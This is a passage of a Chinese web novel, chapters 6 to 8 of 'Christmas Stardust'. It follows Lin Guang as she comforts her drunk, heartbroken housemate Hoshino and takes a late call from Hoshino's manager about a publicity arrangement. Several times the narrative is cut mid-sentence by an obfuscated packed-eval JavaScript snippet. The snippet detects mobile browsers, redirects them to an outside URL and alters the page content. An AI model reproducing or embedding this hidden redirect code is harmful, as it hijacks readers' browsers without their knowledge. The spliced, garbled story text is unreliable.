没摸两下,口袋里的手机突然震动起来,铃声在安静的客厅里显得格外突兀。林光没有停下抚摸的动作,用空着的那只手掏出手机,屏幕的光照亮了她低垂的脸庞。看清来电显示的名字后,她皱了皱眉,指尖划过屏幕接通。 “这么晚打我电话有什么事吗?”她的声音刻意压低了,带着一丝被打扰的不悦。 “啊,对不起对不起,我也刚忙到现在。”对面的男人道歉得相当随意,背景音里还有隐约的鼠标点击声,“你说昨天晚上要发我的那个音轨文件,我这邮箱翻遍了也没收到啊。”语气带着点催促。 “哦,正常,”林光语气平淡,仿佛在说一件无关紧要的小事,“我忘记发了。”她站起身,小麦不满地“呜呜”两声,扒拉着她的裤腿。林光走到厨房水槽边,打开水龙头,仔细冲洗掉手上沾着的狗狗气味。然后拿起桌上的保温杯,拧开盖子,从饮水机接了满满一杯温开水。“今晚发你。”她补充道,语气没什么波澜。 “快点啊,今天不做完后期就来不及了!”对方的声音提高了些。 “知道了。”林光简洁地回应,拧紧保温杯盖,转身走回卧室。 卧室里光线昏暗,只有床头灯散发着柔和的光。大庭已经再次陷入半睡状态,唇齿微张,发出均匀而轻微的呼吸声。林光走到床边,俯下身,凑近她耳边,用气声轻轻唤道:“前辈?睡了吗?” “唔……嗯?”大庭睫毛颤动了几下,勉强睁开一条缝,眼神迷茫地看着林光模糊的影子。 “事务所那边有急事,我要先回去了。”林光的声音放得更轻,带着歉意,“我可以自己叫车。水放床头了,温的。”她把保温杯轻轻放在床头柜上。 “诶?”原本还躺着的大庭,听到“要走”两个字,像是触发了什么开关,猛地从床上直直坐了起来!动作之突然,给林光看得一愣,差点以为她酒醒了。 “你好不容易……才回来这一次……”大庭的声音带着浓重的鼻音和毫不掩饰的失落,像个被承诺了糖果又被收回的孩子,眼睛湿漉漉地望着林光。 “前辈又变成小宝宝了。”林光被她这模样逗得话里带笑,心底却也泛起一丝柔软。她走到床边,弯下腰,轻轻揽住大庭的肩膀,带着安抚的力道将她重新按回温暖的被窝里,“那我以后经常来你家玩就是了,好不好?晚安。”她替大庭掖了掖被角。 “每次都……这么说……”大庭嘟囔着,声音渐渐低下去,再次被睡意和酒意捕获,只是这次,眉头似乎微微蹙着。 顶着深夜凛冽刺骨的寒风,林光匆匆赶回星野公寓楼下。与市中心那依旧喧嚣沸腾、霓虹闪烁的圣诞夜相比,这栋高级公寓楼显得格外寂静。抬头望去,属于她们的那扇窗户漆黑一片,如同沉入深海的孤舟,没有一丝光亮透出。一种莫名的压抑感笼罩下来。林光裹紧外套,默默走向灯火通明的公寓管理处,打算向值班的管理员解释一下自己忘带钥匙、无法回家的窘况。 “1702室吗?”管理员是个面容和善的中年大叔,“星野小姐刚才上去了,大概一个小时前。哦,您就是新搬来的井上小姐吧?正好,麻烦您在这里登记一下住户信息,录入指纹。”他指了指旁边的设备。 “哦。”林光机械地配合着录入指纹,心里却翻腾起来:一个小时前就回来了?发生什么事了?难道……真如大庭前辈所料,她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林光瞳孔一缩,身体先于大脑做出反应,下意识地张开双臂接住这个“人形炸弹”!星野滚烫的脸颊和带着酒气的呼吸重重砸进林光微凉的颈窝,冲击力让林光踉跄着后退半步,后腰“砰”地一声狠狠撞在冰凉坚硬的门框把手上!尖锐的疼痛让她瞬间倒抽一口冷气:“嘶——前辈?!” 怀里的人毫无反应,像一滩软泥,呼吸沉重而灼热。她的发顶无意识地蹭过林光的下巴,带起一阵细微的战栗。林光艰难地抬头,目光越过星野的肩膀瞥向客厅——灯光昏暗的地板上,几个空了的清酒瓶东倒西歪,反射着幽微的光。 “你这是喝了多少啊……”林光的声音带着无奈和一丝不易察觉的担忧,“我们进屋再说,进屋再说!”她咬咬牙,试图调整姿势,把这个比自己高小半个头、此刻却死沉死沉的醉猫弄进屋。 6. 圣诞星屑(2) 扛着一个几乎失去意识的醉汉实属不易。林光几乎是连拖带抱,费了九牛二虎之力才把星野弄进玄关。在左脚踩右脚、差点把自己绊倒的混乱中脱掉自己的鞋子之前,她艰难地用脚尖向后一勾,“砰”的一声将沉重的防盗门关了个严实,隔绝了走廊的光线和冷风。 屋子里没有开中央暖风,空气带着初冬夜晚的清冷。林光把星野像沙袋一样“丢”在了客厅那张宽大的米白色沙发上,星野发出一声不满的咕哝,身体陷进柔软的靠垫里。林光这才松了口气,感觉自己的手臂都在发酸。她转身去玄关的鞋柜里找拖鞋换上。 目光扫过餐厅区域——桌上除了那几个空酒瓶,还有几个敞开的一次性餐盒,里面残留着一些冷掉的炸物和酱汁,显然是刚才朋友们带来的外卖。 “你一个人喝完这么多瓶清酒?”林光难以置信地看向沙发上蜷缩成一团的星野。 “纱由里……也喝了两杯!”星野闭着眼,含混不清地反驳,声音带着醉后的固执,“这个家……怎么可能……只剩我一个人!”她胡乱挥了下手,仿佛在驱赶什么。 “唉,说胡话。”林光无奈地叹了口气,身体却像启动了自动程序,不由自主地开始收拾桌上的狼藉。她将危险的玻璃酒瓶小心地收拢在一起,拿起油腻的餐盒盖子准备盖上。 “你……放那儿……”星野的声音从沙发传来,带着浓重的困意和不耐烦,“明天……会有人来收拾……别管了……” “哦?”林光动作一顿,挑眉看向她,“这里的公寓还有家政服务?这么高级啊?”语气带着点调侃。 “明天……幸子小姐……会来……”星野的声音越来越低,几乎要睡过去。 “原来是经纪人吗?!”林光失笑,手上的活依旧没停。自己可从来没享受过有经纪人帮忙上门打扫的“巨星”待遇。但星野提起经纪人幸子小姐的语气,听起来那么自然,仿佛对方不是工作伙伴,而是相交多年、可以随意麻烦的朋友。这种深厚而放松的关系,是林光在职场中从未体验过的。她一边擦拭着桌面残留的油渍,一边沉浸在自己的思绪中。 就在这时,一股带着浓重酒气的热源突然从背后贴了上来! 一双滚烫的手臂猛地环住了她的腰! 林光身体瞬间僵硬! “来……”星野滚烫的脸颊抵在林光的后背上,声音闷闷的,带着浓重的鼻音和一种近乎乞求的脆弱,“……让我抱一会……” 看来今晚的分手,果然是撕心裂肺、天崩地裂般的痛苦。林光的心像是被什么东西揪了一下。她赶紧把手里那个危险的玻璃酒瓶稳稳放在餐桌中央,不敢再动。然后,她顺着身后人那股不容抗拒的、带着醉意的蛮力,半推半就地被拉着,一同跌坐进旁边宽大的沙发里。身体陷进柔软的坐垫。 浓烈的酒气混杂着星野身上未散的、昂贵的女士香水味,像一杯打翻了的、味道复杂的鸡尾酒,将林光包裹。星野像抱着救命浮木一样,紧紧地箍着她,把脸深深埋在林光的颈窝和肩头。 “今晚……不是很开心?”林光试探着轻声问,声音有些发紧。她能感受到身后紧贴的身体在细微地颤抖。 “嗯……”一声压抑的、带着巨大痛苦的呜咽从林光颈后传来,像受伤小兽的悲鸣,“呜……” 还好,她只是把汹涌的泪水擦在了自己的外套上。林光僵着脖子不敢动,内心复杂地交战着:心疼这个哭泣的女人,心疼自己这件估计要报废的外套,更心疼此刻被强行禁锢、动弹不得的自己。湿热的泪水很快渗透了不算太厚的布料,紧紧贴在她的皮肤上,带来一阵冰凉黏腻的触感。她原本悬在半空、不知该往哪里放的手,犹豫了片刻,最终带着几分生涩的安抚,轻轻落在了星野因抽泣而剧烈颤抖的蝴蝶骨上——动作笨拙得像是第一次安抚一头受伤的大型犬。 星野在她身后抖得越来越厉害,压抑的哭声断断续续,充满了绝望和无助。那哭声像钝刀子割在林光心上。最终,林光还是于心不忍,那份对他人痛苦的共情压倒了自身的不适。她叹了口气,小心翼翼地转过身,主动将这个哭得梨花带雨的女人搂进了自己怀里,让她的脸埋在自己胸前。 “哭吧,”林光的声音低沉而温和,带着一种奇异的安抚力量,手掌轻轻拍抚着星野剧烈起伏的背脊,“衣服弄脏了可以送去干洗……你现在的心情,可没办法丢进洗衣机里洗干净。”她的话语带着一点苦涩的幽默。 这句笨拙却真诚的安慰,仿佛成了压垮堤坝的最后一块石头。星野的委屈和伤心如同决堤的洪水,更加汹涌地倾泻而出。滚烫的泪水瞬间浸透了林光的衣领,湿哒哒、黏糊糊地贴着她的皮肤。分手对星野前辈来说意味着什么?是多年感情的终结?是梦想的破碎?还是无法反抗家族压力的屈辱?林光不是一个喜欢随意揣测他人痛苦的人,但此刻星野那痛苦到近乎窒息的哭声,让她也仿佛感同身受般,心脏被一只无形的手紧紧攥住,又痛又闷。她只能一遍又一遍,用尽可能轻柔的力道,抚摸着她凌乱的头发,另一只手在她身侧规律地轻拍,无声地传递着一个信息:我在这里。 不知过了多久,那撕心裂肺的哭声终于渐渐减弱,变成了断断续续的抽噎,身体的颤抖也平缓下来。林光低头,凑近星野耳边,用气声轻轻地问:“要不要……喝点水?”她的声音也带着一丝疲惫。 怀里的人几不可察地点了点头。 林光如释重负,小心翼翼地扶着星野的肩膀让她在沙发上坐好。星野顺从地靠进沙发背,用纸巾胡乱地抹着哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403819|184388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花的脸,结果注意到擦下来的睫毛膏、眼线和粉底液混在一起,把手心染得一片乌黑。她看着自己的手,似乎觉得有些丢脸,低声说了句:“你等我一会。”便起身,脚步还有些虚浮地走向卫生间。 “好。”林光看着她摇摇晃晃的背影,应了一声,自己也疲惫地靠在沙发上,揉了揉发酸的肩膀。 卫生间里,明亮的顶灯有些刺眼。星野弯着腰,双手撑在冰凉的白瓷洗脸池边缘,低头看着水流冲刷掉脸上花成一团的残妆,混合着未干的泪痕,浑浊的液体打着旋流向下水道。耳边只有水龙头“沙沙”的流水声,这单调的声音反而带来一种奇异的沉静感。她捧起冷水狠狠泼在脸上,试图浇灭眼周的肿胀和心中的烦乱。抹了抹鼻子上残留的泪痕,星野看着镜中那个眼睛红肿、狼狈不堪的自己,一股强烈的自我厌弃涌上心头——因为一段感情的结束就把自己弄成这副鬼样子,真是太丢人了!镜子里仿佛闪过这七年和加藤春树分分合合、甜蜜争吵的无数画面,最终定格在今晚对方平静却决绝的眼神上。 “要我帮忙吗?”一个温和的声音在身后响起。 星野抬起头,透过镜子看到林光不知何时悄无声息地站在了卫生间门口,斜倚着门框,脸上没什么特别的表情,只是安静地看着她。 林光没有多余的询问或安慰,只是径直走了进来。她扯了两张厚实的棉柔洗脸巾叠在一起,打开热水龙头,让温热的水流浸透毛巾。然后,她走到星野身边,动作自然而轻柔地将热毛巾敷在她红肿的眼皮上。温热的触感瞬间缓解了紧绷和刺痛。接着,林光小心地、极其仔细地用湿润的毛巾一角,一点一点地擦拭着星野的眼周,拂去那些藏在浓密睫毛根部、眼角细小褶皱里顽固的黑色颗粒。她的动作专注而耐心,指尖偶尔会不经意地触碰到星野的皮肤,带着温热的湿意。 “这样敷一敷,再擦干净,”林光的声音很轻,像怕惊扰了这片刻的宁静,“明天眼睛就不会肿得像桃子了。” 星野闭着眼,感受着眼皮上温热的覆盖和那轻柔擦拭的力道。一种被细心照顾的暖意,混合着酒后的脆弱,让她不由自主地放松下来,甚至微微侧过头,将额头轻轻抵在林光的肩膀上,像寻求依靠的小动物。她心里涌起一阵庆幸:还好……还好今晚不是独自一人面对这无边的黑暗和心碎。 “你这么突然回来,是有什么事情吗?”星野闭着眼,声音带着浓重的鼻音和一丝不易察觉的依赖。 林光擦拭的动作在星野的脸颊上顿了一下。啊!工作!她这才猛然想起自己深夜赶回来的初衷——那个该死的音轨文件!她迅速将热毛巾塞进星野手里,丢下一句:“你自己再敷敷。”然后头也不回地冲出卫生间,奔向自己房间那台闪着待机光芒的笔记本电脑。 7. 圣诞星屑(3) 冲进漆黑的房间,林光迅速唤醒电脑,屏幕的光照亮她专注的侧脸。她点开复杂的工程文件,手指在键盘上快速敲击,眼神锐利地扫过屏幕上的音轨波形和时间线。在仔细确认了三遍文件名称、编辑时间和导出设置之后,林光标定文件,动作利落地打包压缩,拖进了工作交接群的聊天窗口,点击发送。看着进度条走到100%,她长长地舒了一口气,肩膀放松下来。正准备拿起手机给那个催命的同事打电话通知时—— 手机屏幕先一步亮了起来,一个她等待了几天的、标注着重要工作的号码打了进来! 林光立刻正襟危坐,清了清嗓子,接通电话:“您好,我是井上光。” “井上光小姐,晚上好。我是星野夜海的经纪人,山倉幸子。”电话那头传来一个干练、沉稳又不失礼貌的女声,“抱歉这么晚打扰您。麻烦您现在检查一下工作邮箱,我刚刚把您签署的、与星野小姐的合作合约电子附件发送过去了,请查收确认。” “好的,山倉小姐,我这就查看。”林光一边应着,一边迅速点开邮箱,果然看到一封新邮件,“附件收到了。需要我……现在告知星野前辈一声吗?”她瞥了一眼紧闭的房门,外面静悄悄的。 “您先不用管她,”山倉幸子的声音带着一丝了然的无奈和轻微的疲惫,“我知道她现在……嗯,大概已经是烂醉如泥的状态了。工作的事情,明天我会亲自通知她,并和她对接细节。”她停顿了一下,语气变得更为郑重,“另外……” 林光正专注地听着,突然感觉身后传来一阵带着水汽和清新剂味道的热源! 一双还带着湿意的手臂毫无预兆地从她身后绕了过来,紧紧地箍住了她的腰,将她牢牢地“锁”在了电脑椅上!林光身体一僵! 是星野! 她不知何时已经洗漱完,悄无声息地溜了进来。此刻,她故意在林光颈侧喷洒过桃子味口气清新剂的气息混合着未散的酒气,形成一种奇特的甜腻感。她把耳朵紧紧贴在林光握着手机的那一侧,脸上带着恶作剧般的狡黠笑容,竖起一根手指放在自己唇边,示意林光继续通话,别出声。 “……我想您能答应和夜海的这次‘营业’方案,肯定也是建立在双方各取所需的基础之上。”山倉幸子的声音清晰地传来,冷静而务实。 “哦哦,您稍等!”林光被星野的突然袭击和经纪人直白的话语弄得措手不及,心脏砰砰直跳。她赶紧捂住了手机话筒,一边试图掰开腰间那双箍得死紧的手臂,一边压低声音对身后这个醉醺醺还爱捣乱的“树袋熊”低声:“放开!是工作电话!”无奈星野抱得死紧,还故意蹭了蹭她的脖子。林光当机立断,一手用力把还在试图往上趴、想听更清楚的星野夜海推开!星野猝不及防,“哎哟”一声,被推得踉跄几步,直接倒在了林光身后那张铺着灰色床单的床上,还弹了两下。 林光看都没看她一眼,捂着话筒,快步走到连通房间的小阳台上,反手拉上了玻璃门,将室内的温暖和那个醉鬼暂时隔绝在外。冬夜刺骨的寒风瞬间穿透单薄的衣衫,让她打了个哆嗦,头脑也瞬间清醒不少。 “抱歉山倉小姐,刚才有点小事。您继续说。”林光的声音恢复了冷静,但呼吸因为刚才的“搏斗”还有些急促。 “需要您配合录制的综艺和参与的直播节目,相关台本和流程,明天会由我这边一齐打包送到你们的住处。从明天开始,”山倉幸子的语气带着正式的通知意味,“您个人相关的宣传活动,也将由我来负责对接和安排。简单说,我将同时担任您个人活动的经纪人。未来这段时间,还请多多指教。”她的声音带着一种公事公办的可靠感。 “那真是太好了!”林光由衷地说,寒风让她抱紧了双臂,“是您的话,我会很安心。”山倉幸子在业内的专业能力和口碑是有目共睹的。 “嗯。”山倉幸子应了一声,语气似乎放松了一丝,但很快又变得严肃起来,“其实,我今天打电话来,除了确认合约和通知安排,主要是想和您聊聊……我家艺人星野夜海目前的一些情况。”她顿了顿,似乎在斟酌词句。 “关于星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403820|184388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野最近……围绕她的那些风言风语,您多少应该也有听说。”电话那头的声音明显透露出深切的忧虑,这种情绪通过电流清晰地传递过来。 林光沉默着,只用一些单一的音节应和着,表示自己在认真听。她的眼神却不由自主地透过冰冷的玻璃门,瞟向房间内——星野夜海正四仰八叉地躺在她的床上,似乎因为酒精和刚才的一番折腾,已经再次陷入昏睡,醉得不省人事,仿佛与世隔绝。那张在舞台上光芒四射的脸,此刻在昏暗的台灯光线下,显得脆弱又疲惫。 “她最近……刚刚结束了和加藤春树小姐长达七年的恋情。”山倉幸子的声音带着深深的叹息,“虽然说,我也很喜欢那种‘爱情只关乎你我二人’、纯粹又略显浪漫的理想化语句,但是……”她的语气陡然变得现实而锋利,“对于我们这个行业,对于身处漩涡中心的她们来说,这种话除了能带来一时的自欺欺人和更深的痛苦之外,毫无用处。舆论、家族、利益……每一样都能轻易碾碎这种幻想。” “……”林光静静地听着,寒风吹得她脸颊生疼。 “无论是站在经纪人的专业立场,”山倉幸子的声音低沉下去,带上了一份沉重的真诚,“还是作为和她相处了整整十四年、看着她一路跌跌撞撞走过来的朋友……我都恳切地希望,这次与您的合作,能成为一个契机。”她顿了顿,每一个字都说得清晰而用力,“一个能将她从目前这片……由感情破裂、舆论压力和家族干预共同构成的泥沼中,脱离出来的契机。拜托您了,井上小姐。” “……看起来她可真是劳您费心了啊。”林光终于开口,声音在寒风中显得有些干涩,带着复杂的感慨。她听出了对方话语中那份超越工作关系的深厚情谊。 “这是我该做的。”电话那头的山倉幸子似乎终于将压在心头的话说了出来,声音里透出几分释然的轻松,“时间也不早了,我就不多打扰了。祝您晚安,井上小姐。” “晚安,山倉小姐。”林光挂断了电话。冰冷的手机屏幕暗了下去,映出她带着沉思的脸。 8. 圣诞星屑(4) 挂断电话,林光带着一身寒气回到温暖的室内,轻轻关上阳台门,隔绝了外面的冰冷。她坐回书桌前的椅子上,目光落在自己床上那个没了动静的醉鬼身上。星野的呼吸倒是十分平稳悠长,只是眉头即使在睡梦中,也微微蹙着,仿佛承载着化不开的愁绪。爱如蜜糖,也如砒霜。深陷其中甘之如饴的人,又如何能想象,真正抽身剥离的那一刻,会有多么的痛彻心扉?那种痛,恐怕比这冬夜的寒风还要刺骨百倍。 林光站起身,走到床边静静看了一会儿星野的睡颜。想着留她在自己房间睡上一晚也不是什么很勉强的事情。算了,不与这个醉鬼计较什么外衣外裤之类的琐碎礼节了。她转身去客厅,找到那壶之前泡好、现在还有些温热的蜂蜜柚子茶,倒了一杯,轻轻放在自己床头的柜子上。清甜的香气在台灯光晕下袅袅升起。放她独留在房间后,林光才拿了叠得整齐的棉质睡衣,走向浴室,准备洗去这一身的疲惫和寒气。 即使已经沐浴在氤氲蒸腾的水汽之中,温热的水流像无数细密的手指抚过肌肤,电话里那句冰冷的“各取所需”仍然如同附骨之疽,顽固地环绕在她的耳畔。成年人的社会本就是一张由利益编织的巨网,交换是常态。作为这场营业的回报,星野可以得到一个新的、可控的绯闻焦点,或许能借此摆脱加藤家族那令人窒息的纠缠不休。而林光得到的,则是换一种更符合自己心意的方式,替自己的地下乐队博得至关重要的眼球和关注度。毕竟,原本公司那冰冷机械的计划,是安排她和乐队里那位性格张扬的男主唱一同营业,炒作所谓的“乐队CP”。林光将额头抵在墙壁冰凉的瓷砖上,那沁骨的寒意让她纷乱的思绪稍微清晰了一些。星野家的花洒水流力度出奇地温柔,不像她旧公寓那个脾气暴躁的老古董,更像是温热的抚摸。她低着头,任由密集的水流冲刷着光洁的背脊,水流在细腻的皮肤上汇聚、流淌。只是想想那个“各取所需”的交易所能带来的曝光,都觉得自己的未来仿佛被这浴室里的水汽晕染开,充满了朦胧的光明与希望。若是听从公司安排去和那个男人营业?她嗤笑一声,水珠从发梢滴落,“不如切腹给自己留个清白。” 像是挂念着萦绕在鼻尖的柚子茶,林光在思绪万千中终于洗干净身体,水流声戛然而止,浴室瞬间被一种凝滞的寂静笼罩,只剩下滴答的水声敲打着瓷砖。林光刚准备伸手去扯浴巾擦干身体,换上那套香软的睡衣时,动作猛地僵住——环顾四周,墙上挂着的毛巾无论大小、颜色、质地,都透着一股陌生的、属于星野的气息,没有一条属于自己!她甚至不敢乱动它们,生怕破坏了某种微妙的界限。湿润的空气失去了水流的暖意,迅速变得黏稠冰凉,紧紧贴在她裸露的肌肤上,贪婪地吮吸着她的体温,让她忍不住打了个寒噤。她皱着眉,目光扫过洗手台,最终落在叠放整齐的洗面巾上。无奈地扯了两张厚厚的洗面巾,那小小的方巾吸水能力实在有限,刚擦过的地方很快又渗出细小的水珠。她就这么机械地擦一会儿,拧干水,再擦一会儿,反复折腾,白皙的皮肤被摩擦得微微泛红,才终于把自己收拾了个大概。正当她准备带着一身未干的水汽,将就着套上冰冷的睡衣时—— “咔哒!”一声轻响,浴室门锁的转动声在寂静中如同惊雷!紧接着,门被毫无预兆地推开一道缝隙! “啊——!”林光惊得瞬间跳起,心脏几乎要撞破胸膛!她手忙脚乱地抓起刚拿起的睡衣,死死捂在胸前,湿漉漉的发丝狼狈地贴在脸颊和脖颈上,水珠顺着光洁的脊背滚落,“我、我你、你为什么开我门啊!”她的声音因为惊吓和羞恼而拔高,带着明显的颤抖。 门外,星野倚着门框,睡眼惺忪,脸颊还带着未褪尽的酡红,显然是被吵醒不久。她揉了揉眼睛,声音带着刚睡醒的沙哑和一丝理所当然:“我听见水声停了好久……你洗澡怎么不锁门啊?”她的目光似乎还带着点茫然,在林光裸露的肩膀和湿发上短暂停留。 “我……我寻思你已经睡着了!也不会有别人会来浴室!”林光结结巴巴地解释着,脸颊滚烫,不知是水汽蒸的还是羞的。她一只手更紧地护着胸前,另一只手慌乱地向前推搡,试图把还愣在门口、眼神开始聚焦的星野推出去。“出去!快出去!”关门前,她几乎是咬着牙快速嘱咐,“帮我拿下浴巾!在我房间衣柜左边,蓝色的那条!快点!”她强调着“蓝色”和“左边”。 “蓝色的……”门外传来星野趿拉着拖鞋走远的脚步声,伴随着她梦呓般的嘟囔,声音在空旷的客厅里显得格外清晰,“小春之前放在我家的浴巾……也是蓝色的……是海的颜色……” “我真服了……”门后的林光扶着湿漉漉的额头,无力地摇头,光着身子站在冰冷的瓷砖地上,感受着寒气一点点从脚底升起,忍不住为自己输给眼前这个彻头彻尾、醉后都不忘前任的恋爱脑而深深叹气。好在星野拿浴巾的动作还算迅速。林光一把扯过那条熟悉的、厚实柔软的蓝色浴巾,将自己严严实实地裹住,那熟悉的触感和温度终于驱散了部分寒意和窘迫。 从浴室解放出来,林光一边用浴巾大力揉搓着湿透的长发,一边低头擦拭着锁骨上的水珠。刚转身准备回房—— 客厅里,星野正仰头将床头柜上那杯温凉的蜂蜜柚子茶一饮而尽。放下空杯,她看也没看林光,径直走向酒柜,动作带着一种发泄式的决绝,熟练地又开了一瓶新的清酒。透明的液体在瓶身晃荡,她直接对着瓶口灌了一大口,然后重重地坐进沙发里,眼神空洞地望着前方昏暗的墙壁,仿佛那瓶酒是她此刻唯一的依靠和慰藉。 “你这是今晚不打算睡了?”林光擦头发的动作慢了下来,毛巾搭在脖子上,残留的水珠顺着发梢滴落。空气里弥漫着新开的清酒气息和未散的柚子茶香。 “你看我像是睡得着的样子吗?”星野的声音闷闷的,带着浓重的鼻音和自嘲,视线没有焦点地落在虚空某处。她的侧影在落地窗外的城市微光映衬下,显得格外单薄寂寥。 要说自己一点八卦的心都没有,林光倒也觉得自己没有那么自视清高。她瞥了眼星野脚边那瓶新开的清酒,旁边空荡荡的,她显然连拿个酒杯的力气或心情都没有。林光无声地叹了口气,湿发带来的凉意让她更清醒了些。她转身走向厨房,拉开冰箱门,冷气扑面而来。她端出自己早就冻得结了一层薄薄白霜的巨大啤酒杯,冰凉的触感让她指尖微麻。接着又拿出两听冰镇啤酒。 “喝吧,我陪你。”林光的声音恢复了平日的清亮,抱着冰凉的啤酒杯和两听沉甸甸的啤酒,走到星野身边坐下。沙发因她的重量微微下陷。她“嗤”地一声拉开拉环,铝罐表面凝结了一层细密的水珠,金黄色的酒液带着细密欢腾的气泡,汩汩地注入挂满霜花的巨大酒杯中,深琥珀色的酒体迅速上升,顶端堆起丰厚洁白、如同奶油般的两指泡沫,在昏暗的灯光下显得格外诱人。直到林光放下空了的易拉罐,铝罐在玻璃茶几上发出清脆的声响,星野才仿佛被惊醒,目光从酒杯移到林光认真的侧颜上,意识到自己刚才又在盯着她看——那被水汽蒸腾过的脸颊泛着健康的红晕,湿发贴在鬓角,眼神在氤氲的泡沫后显得格外清亮。 “我们俩好像都喜欢在冬天喝点冰的。”星野的声音有些干涩,打破了短暂的沉默。 “酒嘛,”林光嘴角勾起一个浅浅的弧度,稳稳地举起那杯分量十足的冰啤酒,杯壁的寒气让她指尖泛红,悬在空中,目标明确地对着星野手中的酒瓶,“不喝冰的不如不喝。干杯。” 星野将冰凉的清酒瓶抵至嘴边,视线却不自觉地再次飘向林光。她仰起脸喝酒时,脖颈拉出优美的线条,喉部随着吞咽的动作清晰地一紧一松地上下滑动着。以前和小春在一起的时候……她也喜欢这样捧着大杯子豪爽地喝酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403821|184388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,喝完还会孩子气地向自己炫耀杯底,不过每次都会被自己笑着调侃是“小猫喝水”……回忆的碎片像冰冷的针,猝不及防地刺来。星野猛地闭上眼,像是要隔绝那些画面,也像是要逃避现实,不管不顾地往嘴里灌了一大口清冽辛辣的酒液,只想用它彻底淹没内心翻涌的苦涩。等她放下酒瓶,辛辣感灼烧着喉咙,她睁开眼,看见林光已经在自然地伸出粉色的舌尖,轻轻舔掉沾在上唇的白色泡沫,动作随性又带着点不自知的可爱。星野下意识想伸手帮她抽张纸巾,视线扫过她手中那个手掌宽、小臂高的啤酒杯——刚才还几乎要溢出的满满一杯酒,现在只剩下浅浅的、刚到杯腰处的琥珀色液体,在灯光下静静荡漾。 “……你是渴了吗?”星野的声音带着困惑和一丝不易察觉的探究。 “刚洗完是有点渴了。”林光坦然地回答,脸上带着解渴的惬意,长舒一口气,仿佛那杯冰啤是沙漠里的甘泉。 看林光满脸毫不勉强的自在样子,星野心里那点疑惑被冲淡了些,反而被勾起了一点好奇。 “我也想喝喝看。”她盯着那杯剩下不多的、泡沫已经变得细腻的啤酒。 “我记得你不能喝带碳酸的东西,”林光挑眉,还是把杯子递了过去,杯壁上的水珠沾湿了星野的手指,“不过试试也不错。” “碳酸的事情你是怎么知道的?”星野有些惊讶,接过沉甸甸的杯子,杯沿还残留着林光的温度和一丝若有似无的唇膏气息。她小心翼翼地举起酒杯,凑到唇边,试探性地抿了一小口—— “噗……咳咳!”冰冷的液体刚入口,无数细小的气泡瞬间在口腔里炸开,如同无数细小的针在刺扎,又麻又痒!星野的五官瞬间因为这场口腔内的“烟花大战”而痛苦地扭曲在了一起,眉头紧锁,眼睛眯起,像尝到了什么极其古怪的东西。 “不用勉强自己哦。”林光看着她狼狈的样子,忍不住轻笑出声,伸手想把杯子拿回来。 星野却固执地摇摇头,强忍着那古怪刺激的感觉,仰头用力将口中剩余的啤酒硬生生咽了下去!喉咙里立刻传来一阵强烈的、被刮擦般的刺痒感,她连忙又灌了一大口手中冰凉的清酒,试图用熟悉的辛辣去冲刷、安抚那不适的感觉。 等那阵难受劲儿稍稍过去,星野放下酒瓶,深吸了一口气,似乎想驱散刚才的窘迫。她的目光重新落在林光身上,带着一丝探究,也像是在寻找一个可以转移注意力的出口,声音还带着点被碳酸刺激后的微哑: “你今天……和谁去约会了?。”她的手指无意识地摩挲着冰凉的清酒瓶身,圣诞节是仅次于情人节的情侣节日,林光和她的关系肯定不一般。 “大庭前辈。”林光拿毛巾捏着湿漉漉的发尾,还不等星野吃惊的表情露出,不由星野曲解的解释立刻补充了上来,“和她一起参加了女子会,她想喝点酒,又不放心别人开车接送,就把我喊了过去。” “你们俩之间的关系,怎么这么暧昧呢?我先告诉你啊,她可是不喜欢女人,你不可能和她有什么结果的!” “你是真的喝多了,星野前辈。”林光苦笑,她也想过自己的解释会毫无用处,自己也压根没有想过,会和大庭澪变成朋友以上的关系,“你怎么会这么觉得?” “全公司的人都知道你放弃了公司推给你的演艺资源,跑去照顾了她整整两年。”星野端起酒瓶又喝了一大口。“我和澪,从高中到大学,再到参加同一个事务所的选拔,这里面十多年的交情我能看不出点名堂?” “你们都十多年的交情了,她还没有把我和她之间的事情告诉你?” “谁知道她为什么不肯告诉我!她会不会是有什么把柄在你手里?” “哈。”当她是在开玩笑,林光摇头发笑,自己的那些过往,她还没有准备好向外人诉说。 “说给我听!” 9. 圣诞星屑(5) 